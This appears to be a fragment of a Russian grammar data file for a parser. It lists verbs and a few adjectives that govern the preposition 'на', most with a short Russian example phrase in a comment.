rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ)
rus_verbs:ПЕРЕБРОСИТЬ{}, //
rus_verbs:НАБРАСЫВАТЬ{}, //
rus_verbs:НАБРОСИТЬ{}, //
rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ)
rus_verbs:СВОРАЧИВАТЬ{}, // //
rus_verbs:ПОВЕРНУТЬ{}, //
rus_verbs:ПОВОРАЧИВАТЬ{}, //
rus_verbs:наорать{},
rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ)
rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ)
rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:перегонять{},
rus_verbs:выгонять{},
rus_verbs:выгнать{},
rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ)
rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ)
rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ)
rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ)
rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций
rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин)
rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА)
// rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА)
rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА)
rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин)
rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА)
rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА)
rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин)
rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА)
rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА)
прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА)
rus_verbs:посыпаться{}, // на Нину посыпались снежинки
инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод.
глагол:нарезаться{ вид:несоверш },
rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу
rus_verbs:показать{}, // Вадим показал на Колю
rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА)
rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на)
rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА)
rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА)
rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на)
rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА)
rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА)
rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на)
rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на)
rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на)
rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на)
rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на)
rus_verbs:верить{}, // верить людям на слово (верить на слово)
rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру.
rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору.
rus_verbs:пасть{}, // Жребий пал на меня.
rus_verbs:ездить{}, // Вчера мы ездили на оперу.
rus_verbs:влезть{}, // Мальчик влез на дерево.
rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу.
rus_verbs:разбиться{}, // окно разбилось на мелкие осколки
rus_verbs:бежать{}, // я бегу на урок
rus_verbs:сбегаться{}, // сбегаться на происшествие
rus_verbs:присылать{}, // присылать на испытание
rus_verbs:надавить{}, // надавить на педать
rus_verbs:внести{}, // внести законопроект на рассмотрение
rus_verbs:вносить{}, // вносить законопроект на рассмотрение
rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов
rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров
rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова
rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек.
rus_verbs:оглядываться{}, // оглядываться на девушек
rus_verbs:расходиться{}, // расходиться на отдых
rus_verbs:поскакать{}, // поскакать на службу
rus_verbs:прыгать{}, // прыгать на сцену
rus_verbs:приглашать{}, // приглашать на обед
rus_verbs:рваться{}, // Кусок ткани рвется на части
rus_verbs:понестись{}, // понестись на волю
rus_verbs:распространяться{}, // распространяться на всех жителей штата
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш },
деепричастие:просыпавшись{}, деепричастие:просыпаясь{},
rus_verbs:заехать{}, // заехать на пандус
rus_verbs:разобрать{}, // разобрать на составляющие
rus_verbs:опускаться{}, // опускаться на колени
rus_verbs:переехать{}, // переехать на конспиративную квартиру
rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов
rus_verbs:поместить{}, // поместить на поднос
rus_verbs:отходить{}, // отходить на подготовленные позиции
rus_verbs:сыпаться{}, // сыпаться на плечи
rus_verbs:отвезти{}, // отвезти на занятия
rus_verbs:накинуть{}, // накинуть на плечи
rus_verbs:отлететь{}, // отлететь на пол
rus_verbs:закинуть{}, // закинуть на чердак
rus_verbs:зашипеть{}, // зашипеть на собаку
rus_verbs:прогреметь{}, // прогреметь на всю страну
rus_verbs:повалить{}, // повалить на стол
rus_verbs:опереть{}, // опереть на фундамент
rus_verbs:забросить{}, // забросить на антресоль
rus_verbs:подействовать{}, // подействовать на материал
rus_verbs:разделять{}, // разделять на части
rus_verbs:прикрикнуть{}, // прикрикнуть на детей
rus_verbs:разложить{}, // разложить на множители
rus_verbs:провожать{}, // провожать на работу
rus_verbs:катить{}, // катить на стройку
rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью
rus_verbs:сохранять{}, // сохранять на память
rus_verbs:злиться{}, // злиться на друга
rus_verbs:оборачиваться{}, // оборачиваться на свист
rus_verbs:сползти{}, // сползти на землю
rus_verbs:записывать{}, // записывать на ленту
rus_verbs:загнать{}, // загнать на дерево
rus_verbs:забормотать{}, // забормотать на ухо
rus_verbs:протиснуться{}, // протиснуться на самый край
rus_verbs:заторопиться{}, // заторопиться на вручение премии
rus_verbs:гаркнуть{}, // гаркнуть на шалунов
rus_verbs:навалиться{}, // навалиться на виновника всей толпой
rus_verbs:проскользнуть{}, // проскользнуть на крышу дома
rus_verbs:подтянуть{}, // подтянуть на палубу
rus_verbs:скатиться{}, // скатиться на двойки
rus_verbs:давить{}, // давить на жалость
rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства
rus_verbs:замахнуться{}, // замахнуться на святое
rus_verbs:заменить{}, // заменить на свежую салфетку
rus_verbs:свалить{}, // свалить на землю
rus_verbs:стекать{}, // стекать на оголенные провода
rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов
rus_verbs:развалиться{}, // развалиться на части
rus_verbs:сердиться{}, // сердиться на товарища
rus_verbs:обронить{}, // обронить на пол
rus_verbs:подсесть{}, // подсесть на наркоту
rus_verbs:реагировать{}, // реагировать на импульсы
rus_verbs:отпускать{}, // отпускать на волю
rus_verbs:прогнать{}, // прогнать на рабочее место
rus_verbs:ложить{}, // ложить на стол
rus_verbs:рвать{}, // рвать на части
rus_verbs:разлететься{}, // разлететься на кусочки
rus_verbs:превышать{}, // превышать на существенную величину
rus_verbs:сбиться{}, // сбиться на рысь
rus_verbs:пристроиться{}, // пристроиться на хорошую работу
rus_verbs:удрать{}, // удрать на пастбище
rus_verbs:толкать{}, // толкать на преступление
rus_verbs:посматривать{}, // посматривать на экран
rus_verbs:набирать{}, // набирать на судно
rus_verbs:отступать{}, // отступать на дерево
rus_verbs:подуть{}, // подуть на молоко
rus_verbs:плеснуть{}, // плеснуть на голову
rus_verbs:соскользнуть{}, // соскользнуть на землю
rus_verbs:затаить{}, // затаить на кого-то обиду
rus_verbs:обижаться{}, // обижаться на Колю
rus_verbs:смахнуть{}, // смахнуть на пол
rus_verbs:застегнуть{}, // застегнуть на все пуговицы
rus_verbs:спускать{}, // спускать на землю
rus_verbs:греметь{}, // греметь на всю округу
rus_verbs:скосить{}, // скосить на соседа глаз
rus_verbs:отважиться{}, // отважиться на прыжок
rus_verbs:литься{}, // литься на землю
rus_verbs:порвать{}, // порвать на тряпки
rus_verbs:проследовать{}, // проследовать на сцену
rus_verbs:надевать{}, // надевать на голову
rus_verbs:проскочить{}, // проскочить на красный свет
rus_verbs:прилечь{}, // прилечь на диванчик
rus_verbs:разделиться{}, // разделиться на небольшие группы
rus_verbs:завыть{}, // завыть на луну
rus_verbs:переносить{}, // переносить на другую машину
rus_verbs:наговорить{}, // наговорить на сотню рублей
rus_verbs:намекать{}, // намекать на новые обстоятельства
rus_verbs:нападать{}, // нападать на охранников
rus_verbs:убегать{}, // убегать на другое место
rus_verbs:тратить{}, // тратить на развлечения
rus_verbs:присаживаться{}, // присаживаться на корточки
rus_verbs:переместиться{}, // переместиться на вторую линию
rus_verbs:завалиться{}, // завалиться на диван
rus_verbs:удалиться{}, // удалиться на покой
rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов
rus_verbs:обрушить{}, // обрушить на голову
rus_verbs:резать{}, // резать на части
rus_verbs:умчаться{}, // умчаться на юг
rus_verbs:навернуться{}, // навернуться на камень
rus_verbs:примчаться{}, // примчаться на матч
rus_verbs:издавать{}, // издавать на собственные средства
rus_verbs:переключить{}, // переключить на другой язык
rus_verbs:отправлять{}, // отправлять на пенсию
rus_verbs:залечь{}, // залечь на дно
rus_verbs:установиться{}, // установиться на диск
rus_verbs:направлять{}, // направлять на дополнительное обследование
rus_verbs:разрезать{}, // разрезать на части
rus_verbs:оскалиться{}, // оскалиться на прохожего
rus_verbs:рычать{}, // рычать на пьяных
rus_verbs:погружаться{}, // погружаться на дно
rus_verbs:опираться{}, // опираться на костыли
rus_verbs:поторопиться{}, // поторопиться на учебу
rus_verbs:сдвинуться{}, // сдвинуться на сантиметр
rus_verbs:увеличить{}, // увеличить на процент
rus_verbs:опускать{}, // опускать на землю
rus_verbs:созвать{}, // созвать на митинг
rus_verbs:делить{}, // делить на части
rus_verbs:пробиться{}, // пробиться на заключительную часть
rus_verbs:простираться{}, // простираться на много миль
rus_verbs:забить{}, // забить на учебу
rus_verbs:переложить{}, // переложить на чужие плечи
rus_verbs:грохнуться{}, // грохнуться на землю
rus_verbs:прорваться{}, // прорваться на сцену
rus_verbs:разлить{}, // разлить на землю
rus_verbs:укладываться{}, // укладываться на ночевку
rus_verbs:уволить{}, // уволить на пенсию
rus_verbs:наносить{}, // наносить на кожу
rus_verbs:набежать{}, // набежать на берег
rus_verbs:заявиться{}, // заявиться на стрельбище
rus_verbs:налиться{}, // налиться на крышку
rus_verbs:надвигаться{}, // надвигаться на берег
rus_verbs:распустить{}, // распустить на каникулы
rus_verbs:переключиться{}, // переключиться на другую задачу
rus_verbs:чихнуть{}, // чихнуть на окружающих
rus_verbs:шлепнуться{}, // шлепнуться на спину
rus_verbs:устанавливать{}, // устанавливать на крышу
rus_verbs:устанавливаться{}, // устанавливаться на крышу
rus_verbs:устраиваться{}, // устраиваться на работу
rus_verbs:пропускать{}, // пропускать на стадион
инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш },
деепричастие:сбегав{}, деепричастие:сбегая{},
rus_verbs:показываться{}, // показываться на глаза
rus_verbs:прибегать{}, // прибегать на урок
rus_verbs:съездить{}, // съездить на ферму
rus_verbs:прославиться{}, // прославиться на всю страну
rus_verbs:опрокинуться{}, // опрокинуться на спину
rus_verbs:насыпать{}, // насыпать на землю
rus_verbs:употреблять{}, // употреблять на корм скоту
rus_verbs:пристроить{}, // пристроить на работу
rus_verbs:заворчать{}, // заворчать на вошедшего
rus_verbs:завязаться{}, // завязаться на поставщиков
rus_verbs:сажать{}, // сажать на стул
rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры
rus_verbs:заменять{}, // заменять на исправную
rus_verbs:нацепить{}, // нацепить на голову
rus_verbs:сыпать{}, // сыпать на землю
rus_verbs:закрываться{}, // закрываться на ремонт
rus_verbs:распространиться{}, // распространиться на всю популяцию
rus_verbs:поменять{}, // поменять на велосипед
rus_verbs:пересесть{}, // пересесть на велосипеды
rus_verbs:подоспеть{}, // подоспеть на разбор
rus_verbs:шипеть{}, // шипеть на собак
rus_verbs:поделить{}, // поделить на части
rus_verbs:подлететь{}, // подлететь на расстояние выстрела
rus_verbs:нажимать{}, // нажимать на все кнопки
rus_verbs:распасться{}, // распасться на части
rus_verbs:приволочь{}, // приволочь на диван
rus_verbs:пожить{}, // пожить на один доллар
rus_verbs:устремляться{}, // устремляться на свободу
rus_verbs:смахивать{}, // смахивать на пол
rus_verbs:забежать{}, // забежать на обед
rus_verbs:увеличиться{}, // увеличиться на существенную величину
rus_verbs:прокрасться{}, // прокрасться на склад
rus_verbs:пущать{}, // пущать на постой
rus_verbs:отклонить{}, // отклонить на несколько градусов
rus_verbs:насмотреться{}, // насмотреться на безобразия
rus_verbs:настроить{}, // настроить на короткие волны
rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров
rus_verbs:поменяться{}, // поменяться на другую книжку
rus_verbs:расколоться{}, // расколоться на части
rus_verbs:разлиться{}, // разлиться на землю
rus_verbs:срываться{}, // срываться на жену
rus_verbs:осудить{}, // осудить на пожизненное заключение
rus_verbs:передвинуть{}, // передвинуть на первое место
rus_verbs:допускаться{}, // допускаться на полигон
rus_verbs:задвинуть{}, // задвинуть на полку
rus_verbs:повлиять{}, // повлиять на оценку
rus_verbs:отбавлять{}, // отбавлять на осмотр
rus_verbs:сбрасывать{}, // сбрасывать на землю
rus_verbs:накинуться{}, // накинуться на случайных прохожих
rus_verbs:пролить{}, // пролить на кожу руки
rus_verbs:затащить{}, // затащить на сеновал
rus_verbs:перебежать{}, // перебежать на сторону противника
rus_verbs:наливать{}, // наливать на скатерть
rus_verbs:пролезть{}, // пролезть на сцену
rus_verbs:откладывать{}, // откладывать на черный день
rus_verbs:распадаться{}, // распадаться на небольшие фрагменты
rus_verbs:перечислить{}, // перечислить на счет
rus_verbs:закачаться{}, // закачаться на верхний уровень
rus_verbs:накрениться{}, // накрениться на правый борт
rus_verbs:подвинуться{}, // подвинуться на один уровень
rus_verbs:разнести{}, // разнести на мелкие кусочки
rus_verbs:зажить{}, // зажить на широкую ногу
rus_verbs:оглохнуть{}, // оглохнуть на правое ухо
rus_verbs:посетовать{}, // посетовать на бюрократизм
rus_verbs:уводить{}, // уводить на осмотр
rus_verbs:ускакать{}, // ускакать на забег
rus_verbs:посветить{}, // посветить на стену
rus_verbs:разрываться{}, // разрываться на части
rus_verbs:побросать{}, // побросать на землю
rus_verbs:карабкаться{}, // карабкаться на скалу
rus_verbs:нахлынуть{}, // нахлынуть на кого-то
rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки
rus_verbs:среагировать{}, // среагировать на сигнал
rus_verbs:претендовать{}, // претендовать на приз
rus_verbs:дунуть{}, // дунуть на одуванчик
rus_verbs:переводиться{}, // переводиться на другую работу
rus_verbs:перевезти{}, // перевезти на другую площадку
rus_verbs:топать{}, // топать на урок
rus_verbs:относить{}, // относить на склад
rus_verbs:сбивать{}, // сбивать на землю
rus_verbs:укладывать{}, // укладывать на спину
rus_verbs:укатить{}, // укатить на отдых
rus_verbs:убирать{}, // убирать на полку
rus_verbs:опасть{}, // опасть на землю
rus_verbs:ронять{}, // ронять на снег
rus_verbs:пялиться{}, // пялиться на тело
rus_verbs:глазеть{}, // глазеть на тело
rus_verbs:снижаться{}, // снижаться на безопасную высоту
rus_verbs:запрыгнуть{}, // запрыгнуть на платформу
rus_verbs:разбиваться{}, // разбиваться на главы
rus_verbs:сгодиться{}, // сгодиться на фарш
rus_verbs:перескочить{}, // перескочить на другую страницу
rus_verbs:нацелиться{}, // нацелиться на главную добычу
rus_verbs:заезжать{}, // заезжать на бордюр
rus_verbs:забираться{}, // забираться на крышу
rus_verbs:проорать{}, // проорать на всё село
rus_verbs:сбежаться{}, // сбежаться на шум
rus_verbs:сменять{}, // сменять на хлеб
rus_verbs:мотать{}, // мотать на ус
rus_verbs:раскалываться{}, // раскалываться на две половинки
rus_verbs:коситься{}, // коситься на режиссёра
rus_verbs:плевать{}, // плевать на законы
rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение
rus_verbs:наставить{}, // наставить на путь истинный
rus_verbs:завывать{}, // завывать на Луну
rus_verbs:опаздывать{}, // опаздывать на совещание
rus_verbs:залюбоваться{}, // залюбоваться на пейзаж
rus_verbs:повергнуть{}, // повергнуть на землю
rus_verbs:надвинуть{}, // надвинуть на лоб
rus_verbs:стекаться{}, // стекаться на площадь
rus_verbs:обозлиться{}, // обозлиться на тренера
rus_verbs:оттянуть{}, // оттянуть на себя
rus_verbs:истратить{}, // истратить на дешевых шлюх
rus_verbs:вышвырнуть{}, // вышвырнуть на улицу
rus_verbs:затолкать{}, // затолкать на верхнюю полку
rus_verbs:заскочить{}, // заскочить на огонек
rus_verbs:проситься{}, // проситься на улицу
rus_verbs:натыкаться{}, // натыкаться на борщевик
rus_verbs:обрушиваться{}, // обрушиваться на митингующих
rus_verbs:переписать{}, // переписать на чистовик
rus_verbs:переноситься{}, // переноситься на другое устройство
rus_verbs:напроситься{}, // напроситься на обидный ответ
rus_verbs:натягивать{}, // натягивать на ноги
rus_verbs:кидаться{}, // кидаться на прохожих
rus_verbs:откликаться{}, // откликаться на призыв
rus_verbs:поспевать{}, // поспевать на балет
rus_verbs:обратиться{}, // обратиться на кафедру
rus_verbs:полюбоваться{}, // полюбоваться на бюст
rus_verbs:таращиться{}, // таращиться на мустангов
rus_verbs:напороться{}, // напороться на колючки
rus_verbs:раздать{}, // раздать на руки
rus_verbs:дивиться{}, // дивиться на танцовщиц
rus_verbs:назначать{}, // назначать на ответственнейший пост
rus_verbs:кидать{}, // кидать на балкон
rus_verbs:нахлобучить{}, // нахлобучить на башку
rus_verbs:увлекать{}, // увлекать на луг
rus_verbs:ругнуться{}, // ругнуться на животину
rus_verbs:переселиться{}, // переселиться на хутор
rus_verbs:разрывать{}, // разрывать на части
rus_verbs:утащить{}, // утащить на дерево
rus_verbs:наставлять{}, // наставлять на путь
rus_verbs:соблазнить{}, // соблазнить на обмен
rus_verbs:накладывать{}, // накладывать на рану
rus_verbs:набрести{}, // набрести на грибную поляну
rus_verbs:наведываться{}, // наведываться на прежнюю работу
rus_verbs:погулять{}, // погулять на чужие деньги
rus_verbs:уклоняться{}, // уклоняться на два градуса влево
rus_verbs:слезать{}, // слезать на землю
rus_verbs:клевать{}, // клевать на мотыля
// rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:напялить{}, // напялить на голову
rus_verbs:натянуться{}, // натянуться на рамку
rus_verbs:разгневаться{}, // разгневаться на придворных
rus_verbs:эмигрировать{}, // эмигрировать на Кипр
rus_verbs:накатить{}, // накатить на основу
rus_verbs:пригнать{}, // пригнать на пастбище
rus_verbs:обречь{}, // обречь на мучения
rus_verbs:сокращаться{}, // сокращаться на четверть
rus_verbs:оттеснить{}, // оттеснить на пристань
rus_verbs:подбить{}, // подбить на аферу
rus_verbs:заманить{}, // заманить на дерево
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик
// деепричастие:пописав{ aux stress="поп^исать" },
rus_verbs:посходить{}, // посходить на перрон
rus_verbs:налечь{}, // налечь на мясцо
rus_verbs:отбирать{}, // отбирать на флот
rus_verbs:нашептывать{}, // нашептывать на ухо
rus_verbs:откладываться{}, // откладываться на будущее
rus_verbs:залаять{}, // залаять на грабителя
rus_verbs:настроиться{}, // настроиться на прием
rus_verbs:разбивать{}, // разбивать на куски
rus_verbs:пролиться{}, // пролиться на почву
rus_verbs:сетовать{}, // сетовать на объективные трудности
rus_verbs:подвезти{}, // подвезти на митинг
rus_verbs:припереться{}, // припереться на праздник
rus_verbs:подталкивать{}, // подталкивать на прыжок
rus_verbs:прорываться{}, // прорываться на сцену
rus_verbs:снижать{}, // снижать на несколько процентов
rus_verbs:нацелить{}, // нацелить на танк
rus_verbs:расколоть{}, // расколоть на два куска
rus_verbs:увозить{}, // увозить на обкатку
rus_verbs:оседать{}, // оседать на дно
rus_verbs:съедать{}, // съедать на ужин
rus_verbs:навлечь{}, // навлечь на себя
rus_verbs:равняться{}, // равняться на лучших
rus_verbs:сориентироваться{}, // сориентироваться на местности
rus_verbs:снизить{}, // снизить на несколько процентов
rus_verbs:перенестись{}, // перенестись на много лет назад
rus_verbs:завезти{}, // завезти на склад
rus_verbs:проложить{}, // проложить на гору
rus_verbs:понадеяться{}, // понадеяться на удачу
rus_verbs:заступить{}, // заступить на вахту
rus_verbs:засеменить{}, // засеменить на выход
rus_verbs:запирать{}, // запирать на ключ
rus_verbs:скатываться{}, // скатываться на землю
rus_verbs:дробить{}, // дробить на части
rus_verbs:разваливаться{}, // разваливаться на кусочки
rus_verbs:завозиться{}, // завозиться на склад
rus_verbs:нанимать{}, // нанимать на дневную работу
rus_verbs:поспеть{}, // поспеть на концерт
rus_verbs:променять{}, // променять на сытость
rus_verbs:переправить{}, // переправить на север
rus_verbs:налетать{}, // налетать на силовое поле
rus_verbs:затворить{}, // затворить на замок
rus_verbs:подогнать{}, // подогнать на пристань
rus_verbs:наехать{}, // наехать на камень
rus_verbs:распевать{}, // распевать на разные голоса
rus_verbs:разносить{}, // разносить на клочки
rus_verbs:преувеличивать{}, // преувеличивать на много килограммов
rus_verbs:хромать{}, // хромать на одну ногу
rus_verbs:телеграфировать{}, // телеграфировать на базу
rus_verbs:порезать{}, // порезать на лоскуты
rus_verbs:порваться{}, // порваться на части
rus_verbs:загонять{}, // загонять на дерево
rus_verbs:отбывать{}, // отбывать на место службы
rus_verbs:усаживаться{}, // усаживаться на трон
rus_verbs:накопить{}, // накопить на квартиру
rus_verbs:зыркнуть{}, // зыркнуть на визитера
rus_verbs:копить{}, // копить на машину
rus_verbs:помещать{}, // помещать на верхнюю грань
rus_verbs:сползать{}, // сползать на снег
rus_verbs:попроситься{}, // попроситься на улицу
rus_verbs:перетащить{}, // перетащить на чердак
rus_verbs:растащить{}, // растащить на сувениры
rus_verbs:ниспадать{}, // ниспадать на землю
rus_verbs:сфотографировать{}, // сфотографировать на память
rus_verbs:нагонять{}, // нагонять на конкурентов страх
rus_verbs:покушаться{}, // покушаться на понтифика
rus_verbs:покуситься{},
rus_verbs:наняться{}, // наняться на службу
rus_verbs:просачиваться{}, // просачиваться на поверхность
rus_verbs:пускаться{}, // пускаться на ветер
rus_verbs:отваживаться{}, // отваживаться на прыжок
rus_verbs:досадовать{}, // досадовать на объективные трудности
rus_verbs:унестись{}, // унестись на небо
rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов
rus_verbs:насадить{}, // насадить на копьё
rus_verbs:нагрянуть{}, // нагрянуть на праздник
rus_verbs:зашвырнуть{}, // зашвырнуть на полку
rus_verbs:грешить{}, // грешить на постояльцев
rus_verbs:просочиться{}, // просочиться на поверхность
rus_verbs:надоумить{}, // надоумить на глупость
rus_verbs:намотать{}, // намотать на шпиндель
rus_verbs:замкнуть{}, // замкнуть на корпус
rus_verbs:цыкнуть{}, // цыкнуть на детей
rus_verbs:переворачиваться{}, // переворачиваться на спину
rus_verbs:соваться{}, // соваться на площать
rus_verbs:отлучиться{}, // отлучиться на обед
rus_verbs:пенять{}, // пенять на себя
rus_verbs:нарезать{}, // нарезать на ломтики
rus_verbs:поставлять{}, // поставлять на Кипр
rus_verbs:залезать{}, // залезать на балкон
rus_verbs:отлучаться{}, // отлучаться на обед
rus_verbs:сбиваться{}, // сбиваться на шаг
rus_verbs:таращить{}, // таращить глаза на вошедшего
rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню
rus_verbs:опережать{}, // опережать на пару сантиметров
rus_verbs:переставить{}, // переставить на стол
rus_verbs:раздирать{}, // раздирать на части
rus_verbs:затвориться{}, // затвориться на засовы
rus_verbs:материться{}, // материться на кого-то
rus_verbs:наскочить{}, // наскочить на риф
rus_verbs:набираться{}, // набираться на борт
rus_verbs:покрикивать{}, // покрикивать на помощников
rus_verbs:заменяться{}, // заменяться на более новый
rus_verbs:подсадить{}, // подсадить на верхнюю полку
rus_verbs:проковылять{}, // проковылять на кухню
rus_verbs:прикатить{}, // прикатить на старт
rus_verbs:залететь{}, // залететь на чужую территорию
rus_verbs:загрузить{}, // загрузить на конвейер
rus_verbs:уплывать{}, // уплывать на материк
rus_verbs:опозорить{}, // опозорить на всю деревню
rus_verbs:провоцировать{}, // провоцировать на ответную агрессию
rus_verbs:забивать{}, // забивать на учебу
rus_verbs:набегать{}, // набегать на прибрежные деревни
rus_verbs:запираться{}, // запираться на ключ
rus_verbs:фотографировать{}, // фотографировать на мыльницу
rus_verbs:подымать{}, // подымать на недосягаемую высоту
rus_verbs:съезжаться{}, // съезжаться на симпозиум
rus_verbs:отвлекаться{}, // отвлекаться на игру
rus_verbs:проливать{}, // проливать на брюки
rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца
rus_verbs:уползти{}, // уползти на вершину холма
rus_verbs:переместить{}, // переместить на вторую палубу
rus_verbs:превысить{}, // превысить на несколько метров
rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку
rus_verbs:спровоцировать{}, // спровоцировать на бросок
rus_verbs:сместиться{}, // сместиться на соседнюю клетку
rus_verbs:заготовить{}, // заготовить на зиму
rus_verbs:плеваться{}, // плеваться на пол
rus_verbs:переселить{}, // переселить на север
rus_verbs:напирать{}, // напирать на дверь
rus_verbs:переезжать{}, // переезжать на другой этаж
rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров
rus_verbs:трогаться{}, // трогаться на красный свет
rus_verbs:надвинуться{}, // надвинуться на глаза
rus_verbs:засмотреться{}, // засмотреться на купальники
rus_verbs:убыть{}, // убыть на фронт
rus_verbs:передвигать{}, // передвигать на второй уровень
rus_verbs:отвозить{}, // отвозить на свалку
rus_verbs:обрекать{}, // обрекать на гибель
rus_verbs:записываться{}, // записываться на танцы
rus_verbs:настраивать{}, // настраивать на другой диапазон
rus_verbs:переписывать{}, // переписывать на диск
rus_verbs:израсходовать{}, // израсходовать на гонки
rus_verbs:обменять{}, // обменять на перспективного игрока
rus_verbs:трубить{}, // трубить на всю округу
rus_verbs:набрасываться{}, // набрасываться на жертву
rus_verbs:чихать{}, // чихать на правила
rus_verbs:наваливаться{}, // наваливаться на рычаг
rus_verbs:сподобиться{}, // сподобиться на повторный анализ
rus_verbs:намазать{}, // намазать на хлеб
rus_verbs:прореагировать{}, // прореагировать на вызов
rus_verbs:зачислить{}, // зачислить на факультет
rus_verbs:наведаться{}, // наведаться на склад
rus_verbs:откидываться{}, // откидываться на спинку кресла
rus_verbs:захромать{}, // захромать на левую ногу
rus_verbs:перекочевать{}, // перекочевать на другой берег
rus_verbs:накатываться{}, // накатываться на песчаный берег
rus_verbs:приостановить{}, // приостановить на некоторое время
rus_verbs:запрятать{}, // запрятать на верхнюю полочку
